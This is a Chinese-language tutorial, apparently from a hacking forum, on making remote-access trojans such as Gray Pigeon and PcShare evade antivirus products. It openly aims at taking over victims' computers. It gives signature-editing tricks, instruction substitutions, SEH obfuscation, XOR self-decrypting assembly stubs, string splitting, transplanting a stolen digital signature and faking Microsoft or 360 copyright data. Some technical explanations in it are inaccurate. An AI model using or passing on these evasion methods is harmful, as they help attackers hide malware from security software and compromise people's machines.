學(xué)習免殺,首先你得學(xué)會(huì )匯編把,基礎的指令要懂得一些,一般的指令修改必須會(huì ),一般的修改這里就不贅述了,接下來(lái)就是掌握一些常用的免殺技巧,這里總結一些
第一:我們學(xué)習免殺的方向:只是為了保護自己的黑軟的話(huà)!就不會(huì )學(xué)的那么累(沒(méi)必去學(xué)匯編編程)有時(shí)候簡(jiǎn)單加下殼或者脫下殼就OK!如果是要挑戰世界的殺毒軟件的話(huà),畢竟每個(gè)PC用戶(hù)安裝的殺軟都不一樣!想抓雞拿服務(wù)器的朋友就要進(jìn)修脫殼破解,高級匯編的內容了,這將決定你免殺技術(shù)的高低! 第二:免殺的環(huán)境:做免殺,逃不了測試這個(gè)木馬是不是修改成功!所以為了保護自己的系統,我建議學(xué)免殺要先學(xué)會(huì )使用虛擬機,很多人會(huì )說(shuō),為什么不用影子?影子系統雖然也是可以保護的,暫用資源又少,但是有些反彈型木馬,我們運行后如果失?。词钩晒Γ┒夹枰貑?lái)完成完全清除的工作!做過(guò)QQ盜號木馬跟黑鷹遠控軟件免殺的朋友應該深有體會(huì )!
第三:殺軟的安裝設置:個(gè)人建議安裝卡巴,NOD32,小紅傘,瑞星,金山?。ó斎慌渲煤玫碾娔X可以再加上江民,麥咖啡)!硬盤(pán)大的朋友建議全利用虛擬機安裝殺軟(方便以后重做系統,節省升級病毒庫的時(shí)間)殺軟的設置,可以說(shuō)是很簡(jiǎn)單的!每安裝完一個(gè)殺軟,我們都要先在殺軟設置里把監控跟自我保護的選項的鉤去掉!然后升級病毒庫!升級完后再關(guān)閉服務(wù)跟啟動(dòng)項(利用360安全衛士)這樣安裝其他的殺軟就不會(huì )起沖突了!這里注意下!瑞星升級后會(huì )自己更改自己的服務(wù)為自動(dòng),所以瑞星建議最后裝,最后升級,再關(guān)閉它的服務(wù)!這里我想大家肯定是關(guān)心殺軟的序列號從哪來(lái)的吧!瑞星有體驗版,金山有37天試用版,NOD32利用PPLOVE網(wǎng)絡(luò )電視有180天試用!卡巴等洋貨在百度上搜索均有可用的序列號!這個(gè)就是考驗大家的細心了!呵呵!卡巴不建議裝6.0.7.0的,人家都在央視打廣告了,我們就裝2009把?。m然卡巴的啟發(fā)比不上NOD32的,但是它的主動(dòng)可是免殺愛(ài)好者的“粉絲”)
殺軟的查殺特點(diǎn):
卡巴:主動(dòng)+高啟發(fā)掃描~~,效果相當厲害,卡巴的主動(dòng)非常麻煩,SSDT也被封了,啟發(fā)式也極難通過(guò),還是要取決于木馬本身的實(shí)力了,
瑞星:國內木馬的超級對手可以這么說(shuō)!對國內的木馬定位的特征是洋貨的N倍(鴿子見(jiàn)證)主要查殺技術(shù)是內存查殺技術(shù),但是對一些生僻的木馬,內存病毒庫里竟然沒(méi)有,只要過(guò)了表面就可以過(guò)內存......主動(dòng)主殺敏感字符串,不過(guò)2009的主動(dòng)貌似改進(jìn)了不少......廣告賣(mài)的倒不錯,但是只是針對流行木馬!其他不常見(jiàn)木馬并沒(méi)有加大什么強度!
NOD32:?jiǎn)l(fā)掃描的頭領(lǐng)!主殺輸入表函數,針對MYCCL定位器做過(guò)調整!定位建議用 multiCCL這個(gè)來(lái)定位!不過(guò)這個(gè)大塊頭對生僻殼的偵殼能力不強!加些生僻殼把一些函數保護起來(lái)可以讓它無(wú)用武之地?。ㄟ@類(lèi)殼主要是加密型,不建議用壓縮型)
金山:數據流查殺技術(shù)的代表!簡(jiǎn)單來(lái)說(shuō)跟瑞星內存查殺技術(shù)有點(diǎn)一樣!病毒庫升級,查殺病毒速度都是超級快!但是殺毒能力比較上面的幾款有點(diǎn)遜色!
360與金山清理專(zhuān)家:行為查殺的代表,金山清理專(zhuān)家比360查殺力度還大!但是監控能力......實(shí)在不想說(shuō)!不過(guò)360的5.0版加了木馬云查殺,據說(shuō)不是很好過(guò)(沒(méi)試過(guò)~~~)
以上可以說(shuō)是所有集合殺軟的特點(diǎn):文件查殺,內存查殺,啟發(fā)查殺,數據流查殺!行為查殺!主動(dòng)防御!每個(gè)殺軟都有自己的特點(diǎn),一個(gè)人也不可能把全球殺軟都安裝起來(lái)研究,但是以上4個(gè)殺軟跟一個(gè)輔助可以說(shuō)全包括了病毒查殺特點(diǎn)!也不能說(shuō)哪個(gè)不好,哪個(gè)很好!有些木馬這個(gè)殺軟殺不出來(lái)~~那個(gè)就可以殺出來(lái)!所以對于現在網(wǎng)上有些朋友對個(gè)別殺毒軟件不重視,就會(huì )導致你所謂的“肉雞”插翅難飛!嘻嘻!
接下來(lái)就說(shuō)說(shuō)技巧方面的
比如你定位一個(gè)特征碼定位到了一個(gè)字符串上我們比如這個(gè)特征碼定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,遇到這個(gè)我想大家一定是修改大小寫(xiě)吧,但是有時(shí)候修改大小寫(xiě)還是被殺。 這個(gè)我們可以怎么辦呢,我們可以移動(dòng)位置,因為這個(gè)肯定是一個(gè)api函數的參數,我們找到那個(gè)函數然后修改下調用地址就行了。 所以有時(shí)候大家不能總用通用方法,要學(xué)會(huì )變通。
2.NOD32的疑問(wèn),前天有人來(lái)問(wèn)我他說(shuō)它定位NOD32,定位到了資源上,這個(gè)有一個(gè)可能是你的定位有錯誤。這個(gè)你可以通過(guò)multiccl把資源和輸入表段保護起來(lái),然后定位,看可以定位出其他的特征碼不能,至于MYCCL,一般的定位最好在代碼段開(kāi)始定位,填充可以選擇FF,66什么的,或者反向定位,定位的方法很多的,別人填充00,你就填充00么,現在的殺軟已經(jīng)把myccl扒的一干二凈了,有反定位措施...
3.花指令 花指令無(wú)非是一些干擾程序調試的一些手段,當然也可以作為用來(lái)迷惑殺毒軟件使殺毒軟件找不到我們的特征碼,從而達到免殺。 為什么大家總是喜歡用網(wǎng)上的一些什么花指令方法。其實(shí)我發(fā)現其實(shí)多調用一些子程序,多加一些跳轉,要比你們寫(xiě)花指令要好的多。不過(guò)本人不推薦使用花指令免殺.
4.為什我服務(wù)端做了免殺,可是生成出來(lái)被殺。 這個(gè)大家首先可以對比一下有什么不同的地方,這個(gè)我給大家一個(gè)思路,現在殺毒軟件就喜歡定位有標志型意義的地方(通俗點(diǎn)講版權信息),大家在做的時(shí)候因為為了保護我們的木馬,所以就委屈下原作者,呵呵。版權信息給改了。 還有一個(gè)就是比如說(shuō)灰鴿子,現在殺軟會(huì )定位到它的一些dll文件名上,你修改完dll然后找到調用dll文件的函數,然后修改下參數即可。。。。
高強度花指令--SEH
SEH是WINDOWS系統中處理計算機異常行為的一種方式,這種方式的特點(diǎn)就是用入棧的方式把斷點(diǎn)保存起來(lái),所以他的效率很高,往往能夠處理很多的異常狀態(tài)。在免殺中我們可以通過(guò)它給木馬加花,讓他“錯誤”地跳到入口點(diǎn)。
奉上匯編代碼如下:
push 原入口點(diǎn) -OEP
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov ebx,0
div ebx
復制代碼
這樣混淆的強度就很大了,其實(shí)還有很多這樣的方法,自己漫漫研究把。。
轉載小魚(yú)和Medusa的免殺技巧
1. 遇到特征碼定位在jmp指令上面的 構造替換 push xxxxx ret。
舉例: jmp xxxxx
構造替換 push xxxxx
ret
2. 遇到特征碼定位在call指令上的。
舉例:
call xxxxx
構造替換: push @f
jmp xxxxx
@@:
;@@的標號表示的是你jmp xxxx指令后面的內存地址。 @f也就是引用@@ 的標號,所以此時(shí)@f這里填寫(xiě)的就是jmp xxxxx指令后面的內存地址。。
3. 遇到特征碼定位在ret上
舉例: ret
構造替換:
jmp dword ptr [esp]
4. 遇到特征碼定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx
舉例: test eax, eax
je xxxxxx
構造替換: xchg eax, ecx
jecxz xxxxx
5. 遇到特征碼定位在 push [xxxxxx]上的。
舉例:push [xxxxx]
構造:
在其之前通過(guò) xchg [xxxxxx], ebx
然后用寄存器傳參: push ebx
最后在下面在通過(guò)xchg [xxxxxx], ebx 交換回來(lái)。
6. 數據段動(dòng)態(tài)恢復和巧用算法加密結合起來(lái)。
前提是對匯編大家一定要有所了解,例如一些人說(shuō)金山殺的是配置信息上,你完全可以將其這些配置信息所處的地址的數據進(jìn)行一層加密?;蛘吣憧梢詫⑵溥@些偏移所處的數據 通過(guò)xchg 交換。
dll注意下 要進(jìn)行重定位
call $+5 ;機器碼是 E8 00000000 00000000是相對地址
@@: pop ebx
sub ebx, @b
下面你就可以通過(guò)[ebx+你的偏移]來(lái)進(jìn)行變址尋址了。。
test eax,eax
je xxxxxx
將test eax,eax nop掉,改je為jb
或將兩句nop掉
test eax,eax
jnz xxxxxx
將兩句nop掉
mov ebx,xxxxxx
mov ebp,eax
雙mov可以上下調換
add edx, dword ptr [ebp+6E]
imul esi, dword ptr [edi+ebx*2+44], 614D6C6C
imul ebp, dword ptr [esi], 0
00 00
00 00
00 00
考慮下移
and eax,80000007
改為:
or eax,7FFFFFF9
用C32asm改,80000007為-80000007,C32asm會(huì )自動(dòng)變?yōu)?0000007的負數7FFFFFF9
je 等于則跳 改成 jle 也是等于則跳
這是瑞星的新把戲
00436008 09C0 xor EAX,EAX
改為
00436008 09C0 OR EAX,EAX
004A19BD 6A 00 PUSH 0
改為
004A19BD 6A 01 PUSH 1
0049D775 /77 07 JA SHORT 021.0049D77E
改為
0049D775 /7F 07 JG SHORT 021.0049D77E
特征碼定位出來(lái)用OD載入卻顯示無(wú)此地址的解決方法
dll:
也許你經(jīng)常遇到特征碼定位出來(lái)用OD載入卻顯示無(wú)此地址.
我們用灰鴿子VIP2006的GETKEY.DLL做演示.
假若特征碼為
[特征] 000009DA_00000002 004015DA (OC導出的內存地址)
使用OC導出的地址到OD中卻不能使用.這時(shí)用lordpe打開(kāi)GETKEY.dll
00013000
00400000 上下相加得00413000
OD載入入口為00883000 > 55 PUSH EBP
把40換成87就是真正的特征碼.008715DA
Dll實(shí)例(黑洞1.97 瑞星dll特征):
OK=1
CharactorTotal=3
Codz1=H_0000354C_0092414C
Codz2=H_0001A4B4_0093B0B4
Codz3=H_0003C958_0095D558
先用lord_PE打開(kāi),再用OD打開(kāi)
文件入口:00042948
> -------> 00442948
鏡像:00400000
>----------->相減 00520000
內存入口 00962948
零區無(wú)法定位可執行文件數據的問(wèn)題
1.c32asm來(lái)解決,靜態(tài)反匯編改特征
2.加一0區段,跨區段jmp跳,然后再新區段保存"所有修改",再回到原特征碼處jmp,保存
免殺關(guān)鍵是技巧,關(guān)鍵你對這些匯編指令掌握的程度,以及你對匯編程序的熟練度。。
接下來(lái)再說(shuō)一下NOD32的高啟
《一個(gè)釘子和一個(gè)國家滅亡的故事》大家都知道
如果有那一個(gè)釘子,不丟那個(gè)馬掌,不折那匹戰馬,不傷那位將軍…………
有太多不確定了,只要我們破壞了其中任何一個(gè)環(huán)節啟發(fā)殺毒就會(huì )全線(xiàn)潰敗。
NOD32通過(guò)PE結構尋找特征代碼 以導入表函數的修改為例 (這個(gè)簡(jiǎn)單,其實(shí)還有更復雜的上次那個(gè)木馬就是12處關(guān)聯(lián),但是12處關(guān)聯(lián)破壞一個(gè)就免殺了)
首先他會(huì )從PE MZ那里開(kāi)始計算PE HARD的位置 在從PE HARD處尋找數據段 計算數據段位置尋找指針的提示位置,然后通過(guò)指針的提示位置找到指針,通過(guò)指針找到導入表函數。
啟發(fā)殺毒理解比較困難但是修改還是很簡(jiǎn)單的,可以說(shuō)比普通的特征碼更容易。我們只要破壞他以上分析的任何一個(gè)環(huán)節他就會(huì )全線(xiàn)潰敗。
以前的pcshare有一個(gè)超簡(jiǎn)單過(guò)NOD32的方法,那就是將子系統設置為未知,就直接過(guò)NOD32的高啟發(fā),因為NOD32默認的對未知PE文件不予檢測報毒,而恰巧,我們的pcshare通過(guò)這樣更改之后仍然可以運行,達到了免殺目的,就是這么簡(jiǎn)單
其實(shí)卡巴為我們提供了更多修改的機會(huì )
因為他的特征是關(guān)聯(lián)的,只要破壞他的關(guān)聯(lián)就行了
就好像
1+2+3+4+5+6+7+8+9=45一樣
特征碼是45.當然會(huì )有很多選擇我們可以改"1"也可以改“2”還可以改“3”……
改掉一個(gè)他下面的關(guān)聯(lián)就被破壞了,也就免殺了,
解決NOD32最簡(jiǎn)單的兩個(gè)方法
1.把文件子系統設未未知
2.修改OriginalFirstThunk 日期時(shí)間標志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者別的,就這樣就可以過(guò)了輸入表查殺雖然之后lordpe提示“錯誤的指針”,但是功能,上線(xiàn)都是沒(méi)有損壞的
至于原理,我上面說(shuō)的很清楚了,呵呵
接下來(lái)說(shuō)下基因啟發(fā)
因啟發(fā)是通過(guò)比對文件當中的關(guān)鍵代碼,來(lái)查殺新病毒以及變種,這種方式在現階段的優(yōu)勢比較明顯,查殺率高,占用內存少,但從缺點(diǎn)來(lái)看,這種啟發(fā)技術(shù)在現階段已經(jīng)暴露出來(lái)了一個(gè)很?chē)乐氐膯?wèn)題就是誤報過(guò)于嚴重,在國外的誤報測試當中,使用這項技術(shù)的殺軟普遍誤報十分厲害,像蜘蛛,紅傘,飛塔等等。而從長(cháng)遠來(lái)看,這種技術(shù)隨著(zhù)時(shí)間的增長(cháng),病毒的種類(lèi)越來(lái)越多,必定造成基因庫的臃腫,隨之造成的結果就是殺軟的運行效率降低,占用資源量的提升,甚至出現不同基因代碼間的沖突,所以這項技術(shù)雖然在現階段被看好,而且在技術(shù)上也沒(méi)什么難度。
這個(gè)是基因啟發(fā)啟發(fā)的定義,但是NOD32這么多特征完全來(lái)自廣譜查殺jack的文章曾說(shuō)過(guò): 引用:例如,如果一段程序以如下序列開(kāi)始:MOV AH ,5/INT,13h,即調用格式化盤(pán)操作的BIOS指令功能,
那么這段程序就高度可疑值得引起警覺(jué),尤其是假如這段指令之前不存在取得命令行關(guān)于執行的參數選項,又沒(méi)有要求
用戶(hù)交互性輸入繼續進(jìn)行的操作指令時(shí),就可以有把握地認為這是一個(gè)病毒或惡意破壞的程序。
例子:一個(gè)免殺卡巴的木馬加一個(gè)被殺的花卡巴會(huì )提示type win32病毒 和感染pe的病毒一樣
卡巴會(huì )確定他的入口點(diǎn),一般程序的入口點(diǎn)一般不會(huì )在程序的最后一個(gè)PE節里。如果OEP在最后一個(gè)PE節里就值得卡巴懷疑。所以有的“牛人”在2007年初提出了OEP虛擬化…………但是我不懂編程但是我們可以修改PE結構讓入口不在最后一個(gè)PE節里,比如在木馬修改(非PE感染形)用跳轉法移動(dòng)頭部某些代碼,在頭部空出廣大區域加花?;蛘呒油昊ǎǜ腥疽院螅┰诩右粋€(gè)空文件節。(這個(gè)適用與病毒編程)
寫(xiě)著(zhù)寫(xiě)著(zhù)就有點(diǎn)跑題……………………
對于NOD32 pcshare特征碼超多的問(wèn)題
解釋很簡(jiǎn)單 pcshare是一個(gè)典型的4代木馬(也有人稱(chēng)為3代,看分代標準)
很多代碼很典型,適用于殺軟研究廣譜查殺。NOD32的啟發(fā)更偏向于基因啟發(fā),但他沒(méi)有獨立的基因庫,用病毒庫代替了基因庫,通過(guò)在病毒庫里比對代碼,確認病毒,看到我前面對基因啟發(fā)的介紹,相信對NOD32病毒庫小不難理解吧,很明顯NOD32的開(kāi)發(fā)者也意識到了這點(diǎn),所以NOD32對啟發(fā)可以報的病毒是不入庫的。對于pcshare4處關(guān)鍵作為啟發(fā)殺毒,剩下26個(gè)特征是輔助定位,4處關(guān)鍵修改后少量修改輔助定位就可以了。
關(guān)于OD修改字符串
例如pcshare有一個(gè)定位在“%S%S%S”上的...我們可以首先用C32把“%S%S%S”向前移一位,然后用OD載入,右鍵,超級字符串參考,
查找ASCII,然后找到所有的“s%s%s”(一般是一個(gè)PUSH或者CALL指令,他調用的就是這個(gè)字符串的地址),由于我們向前移了一位,所以顯示的應該是“s%s%s”,然后雙擊來(lái)一個(gè)個(gè)修改...雙擊后會(huì )發(fā)現,對應的語(yǔ)句會(huì )有一個(gè)地址,我們把它改掉,向前一位,如4AD05168就改成4AD05167,接著(zhù)同樣方法繼續改其它有“s%s%s”的...
這個(gè)方法通用字符串的修改...
另外還有一個(gè)容易忽略的問(wèn)題,那就是文件版權
建議大家的木馬都不要使用原來(lái)的圖標和版權信息,可以加上微軟,360的版權信息,有不少殺軟會(huì )針對版權信息進(jìn)行查殺(例:小紅傘,遇到過(guò)幾次,其余的不清楚)
360、卡巴免殺
怎么過(guò)360 卡巴 瑞星 金山 。。。
360其實(shí)很好過(guò) 行為查殺
只要把木馬默認的文件名 服務(wù)名 (現在應該沒(méi)人在使用win98了吧 或用注冊表啟動(dòng)的木馬了吧 如果有那么把注冊表里的啟動(dòng)鍵值改了)修改掉 就OK了
金山流氓查殺也是一樣的
接著(zhù)說(shuō)
瑞星 和 金山 其實(shí) 別看官方吹得很好 其實(shí)很垃圾 主動(dòng)防御如同虛設
這里據個(gè)例子
黑洞1.96 吧 因為介紹卡巴的時(shí)候用到它 把服務(wù)端里面的 黑洞 藏鯨閣 等替換掉 (老陳,不是要砸你招牌 而是被逼的) 再把剛才說(shuō)的 文件名 服務(wù)名 都換成其他的 那主動(dòng)就過(guò)去了
其實(shí)NS也行 把SYSNS.DLL 改名 把版權去掉(老熊莫怪哦)再定位出其他的特征碼 修改掉(表面沒(méi)過(guò),以上是廢話(huà))
那么 金山 瑞星 360 就過(guò)去了
再說(shuō)卡巴
卡巴2009的主動(dòng)防御是很強悍的
其實(shí) 驅動(dòng)過(guò)是最完美的
可是我菜 不會(huì )寫(xiě)驅動(dòng) 不過(guò) 黑洞1.96國慶版 內有驅動(dòng) 直接修改 因為這個(gè)驅動(dòng)是為過(guò)卡巴而寫(xiě) 所以 只需要過(guò)卡巴就OK了
巧用算法加密特征碼
XOR算法, 相同為0,相異為1
舉個(gè)例子
此時(shí)
0001 xor 1111 = 1110
1110 xor 0001 = 1111
以下是加密代碼
另外還有kipass寫(xiě)的加密代碼,可以參照
對于代碼段,為了躲避跟著(zhù)殺軟跑我們得對代碼段進(jìn)行全部變形處理...有人問(wèn)了,怎么變形呢?一般研究溢出,軟件安全的DDMM,GGJJ們都知道在shellcode中有一種比較常見(jiàn)的為了保護自己的shellcode被直接修改利用用的xor加密...到這你應該可以想到了,這就是對整個(gè)代碼段進(jìn)行xor每個(gè)字節加密...但這樣一來(lái)加密后就不能運行的..所以我們得找一段空白處,寫(xiě)一段我們的解密代碼.并把文件入口點(diǎn)跳到這個(gè)解密代碼上.
就以最近的flash漏洞的shellcode解密頭來(lái)講解. shellcode就是這段解密頭的.
這里就是解密頭...里面我已經(jīng)注釋非常清楚了...哈.到這里又有人要問(wèn)了..怎么加密呀..上面已經(jīng)有算法了..要用上面的話(huà)直接用這段代碼直接運行一次就是就加密的代碼了..呵呵..
這樣代碼段就變的面目全非了...完全不一樣了...好下面是數據段的修改了
最簡(jiǎn)單的修改把原來(lái)的數據段里的東西分開(kāi)處理.比如說(shuō)資源..把資源全部移位,再修正指向資源的指針..其它以此類(lèi)推.這完了數據段也處理完了..至少在原來(lái)的位置上的東東全部也不一樣了...
重定位的段處理和數據段一樣..
區段免殺技術(shù)
首先添加了一個(gè)空區段..名為king.. 這是原來(lái)的區
好.看一下這個(gè)區里的地址先~ 然后開(kāi)始做了.
再用十六進(jìn)制編輯查看一下區的大小情況..
A2A00 到 A2BF0
讓整個(gè)區整體向上偏移幾位.. 由于上面的區本來(lái)就沒(méi)有東西.是空的
所以我們也不用改任何東西.. 大家隨機應變吧..
可以適當的在區里面添加上一些偽指令.. 例如可以加入一些異常指令等等.效果自然會(huì )更好
教程未完..看到原來(lái)一圖里面的區了嗎..
一般都有PE頭的下面..好看我把他們的區名全部給改了..
這樣也會(huì )誤導殺軟一些的難度. 其實(shí)在其它方面.還有一些免殺技術(shù)未被公開(kāi)
還有一些殺其它部位的特征等等. 我們做免殺.不一定要修改特征碼..
對我來(lái)說(shuō).特征碼已經(jīng)等于是過(guò)去了.. 此方法是研究源碼免殺的時(shí)候悟出來(lái)了.
數字簽名過(guò)卡巴
現在過(guò)卡巴主動(dòng)的基本方法可能就是給木馬程序加上數字簽名,卡巴對此視而不見(jiàn)
加數字簽名很簡(jiǎn)單,用C32打開(kāi)文件,從PE頭開(kāi)始的152個(gè)字節為 XX XX XX XX 這里為數字簽名的地址(倒序)之后的數值是其簽名代碼的大小,隨便找一個(gè)帶有數字簽名的文件,找到他的位置和大小,把代碼全部復制下來(lái),粘貼到木馬程序中,再更改相關(guān)的代碼即可,以附件為例,數字簽名的位置為:00 8E 00 00 大?。篊8 24 那么數字簽名則在8E00處,大小就是24C8,將其全部復制,再加在木馬程序的最后,然后再修改從PE頭開(kāi)始的152個(gè)字節的相關(guān)數值即可
Pcshare輸出表輸出函數名加密法
ok,廢話(huà)不多說(shuō),給大家簡(jiǎn)要說(shuō)明下。。
首先ollydbg載入PcMain.dll,然后向下找0區域,然后我們加入我們的加密代碼。
如圖 :
這里我簡(jiǎn)要的說(shuō)明下代碼。
1. 首先保存我們的寄存器環(huán)境。
通過(guò)
pushad
popad
然后 我們加入代碼
其實(shí)這里大家可以運行一遍,此時(shí)運行后我們的ServiceMain已經(jīng)是加密了,然后我們在將.rdata區段數據保存。然后修改.rdata的區段屬性為可讀可寫(xiě)屬性。
修改入口點(diǎn)位我們加入的代碼的偏移,此時(shí)loader加載后就會(huì )進(jìn)行解密。。
這里給出一個(gè)DLL的例子。。
加密后我們的輸出函數名為此圖。
我來(lái)給大家解釋下吧,錯與對還請大家評論。
嘿嘿!
pushad 和popad作用是為了保存當前寄存器的狀況。
call $+5 ; 機器碼為E8 00 00 00 00
看機器碼,個(gè)人認為沒(méi)什么意思吧,像個(gè)NOP
pop eax 這個(gè)很簡(jiǎn)單,EAX出棧,為什么要出棧,剛才不是全部壓進(jìn)去了嗎?
因為我們后面的一些操作要用到它這個(gè)東東。
xor ax, ax
這幾句代碼是求我們的基地址 但是由于我們寫(xiě)入的偏移量前面是以1001開(kāi)頭的,所以接下來(lái)我們加入rva的時(shí)候要減去10000。
上面這段話(huà)已經(jīng)說(shuō)明了。我就不多說(shuō)了。
add eax, 3b05h ;3b05h為ServiceMain輸出函數名字符串的偏移 (意思就找到輸出函數名的內存地址。下面用到嘛)
xchg eax, esi
mov edi, esi
很簡(jiǎn)單,不用我多說(shuō)了吧,不會(huì )的去查匯編指令。
lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家調試下就知道了。
假如我們加密后的字符串是“A”,那么ESI所指向的內存地址就是下一個(gè)字符串的地址了,他是一個(gè)字母一個(gè)字符的取的。
or al, al (這個(gè)是結合下面的一個(gè)JE的,因為。暈了怎么說(shuō)好呢。大家看一下這個(gè)函數的最后都是00 00 吧,當我們取完字符串后,也就是解密完成后,循環(huán)到這里的時(shí)候,OR就是與運算是吧,意思就是是1結果才是1,那么這是零,后面的跳轉就當然跳了)
je XXXXXXXX
xor al, 18h 異或運算,重點(diǎn)吧。18是16進(jìn)制,可以隨便改的。
stos byte ptr es:[edi] 這個(gè)stos 和LODS相反,既然它取,那么這個(gè)就是放的。就是說(shuō),經(jīng)過(guò)上面的xor al, 18h 加密后,再放進(jìn)去,一個(gè)一個(gè)的解密。
jmp short 1.10011B3F 一個(gè)跳,循環(huán)結構,但是當解密完成的時(shí)候,這個(gè)跳會(huì )被JE跳轉,程序正常運行。
最后POP出棧
恢復之前的寄存器狀態(tài)。
再最后一個(gè)跳到入口點(diǎn),執行程序。簡(jiǎn)單。
數據段ASCII字符串內存動(dòng)態(tài)恢復
對于棘手的ASCII字符串,我們還可以使用數據段ASCII字符串內存動(dòng)態(tài)恢復的方法,這里也貼出代碼
動(dòng)態(tài)合并法
雖然說(shuō)不是加密.但是也是利用了內存動(dòng)態(tài)恢復的原理濫生出來(lái)的技術(shù)吧.. .
簡(jiǎn)單說(shuō)明就是:
kernel32.lstrcat這個(gè)函數可以對兩個(gè)push進(jìn)行合并.
用法: push 456
push 123
call dword ptr ds:[xxxx]xxxx是輸入表對kernel32.lstrcat的數
結果會(huì )在123的后面多出456 合并成 123456
具體怎么利用不會(huì )說(shuō)明
簡(jiǎn)單的打比方就是
當特征碼為svchost.exe的時(shí)候. (打比方.)
那我們就可以這樣拆分. svch 和 ost.exe那樣殺軟怎么都不會(huì )叫了吧.
然后通過(guò)內存動(dòng)態(tài)合并.
用法.
00402246 60 pushad
00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame"
0040224C B9 02000000 mov ecx, 1
00402251 8B03 mov eax, dword ptr [ebx]
00402253 35 50403020 xor eax, 11111111 ;異或算法,密匙
00402258 8903 mov dword ptr [ebx], eax
0040225A 83C3 04 add ebx, 4
0040225D ^ E2 F2 loopd short 00402251
popad
復制代碼
027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130
027F511A |5B pop ebx //自定位完畢 ebx存是就是緊接著(zhù)loader下的需要解密處的開(kāi)始內存地址..也就是027F5131處的
027F511B |33C9 xor ecx, ecx //清空ecx為下面循環(huán)解密xor的字節做準備
027F511D |66:B8 625D mov ax, 5D62 //傳5D62給ax做初始密匙用
027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //對ebx+ecx*2處進(jìn)行雙字節解密..以前的都是單字節解密居多.
027F5125 |41 inc ecx //ecx加1,也就是密匙加1,動(dòng)態(tài)變換密鑰..這就是這個(gè)解密頭的稍微比以前的解密強一點(diǎn)的地方..
027F5126 |40 inc eax //eax加1 累計解密多少次了.為下面判斷做準備
027F5127 |66:81F9 5101 cmp cx, 151 //此處的151比較就是后面加密的代碼的總長(cháng)度除二..可以替換成你自己按需要解密的總字節數除以二
027F512C |7C F3 jl short 027F5121 //沒(méi)有解密完就跳,繼續解密
027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方開(kāi)始正式執行原程序的代碼了,此處跳轉地址改成你加密的地方的開(kāi)始地址
027F5130 E8 E5FFFFFF call 027F511A //配合027F511A處的pop ebx實(shí)現此代碼的自定位..
復制代碼
pushad
call $+5 ; 機器碼為E8 00 00 00 00
pop eax
xor ax, ax ;這幾句代碼是求我們的基地址 但是由于我們寫(xiě)入的偏移量前面是以1001開(kāi)頭的,所以接下來(lái)我們加入rva的時(shí)候要減去10000。
add eax, 3b05h ;3b05h為ServiceMain輸出函數名字符串的偏移
xchg eax, esi
mov edi, esi
@@:
lodsb
or al, al
je @f
xor al, 18h
stosb
jmp @b
@@:
popad
jmp 入口點(diǎn)
復制代碼
100118FE 60 pushad
100118FF 90 nop
10011900 E8 00000000 call 10011905
10011905 58 pop eax
10011906 2D 05190110 sub eax, 10011905
1001190B 05 E0400110 add eax, 100140E0
10011910 C700 53655368 mov dword ptr [eax], 68536553
10011916 61 popad
10011917 ^ E9 C7FBFFFF jmp 100114E3
復制代碼
pushxxxxx //ost.exe的地址,o的地址.因為他開(kāi)頭嘛
pushxxxxx //接下來(lái)的當然是剩下的svch的地址了.
call dword ptr ds:[<kernel32.lstrcat>] //這個(gè)kernel32.lstrcat的地址需要自己手動(dòng)在IAT查找.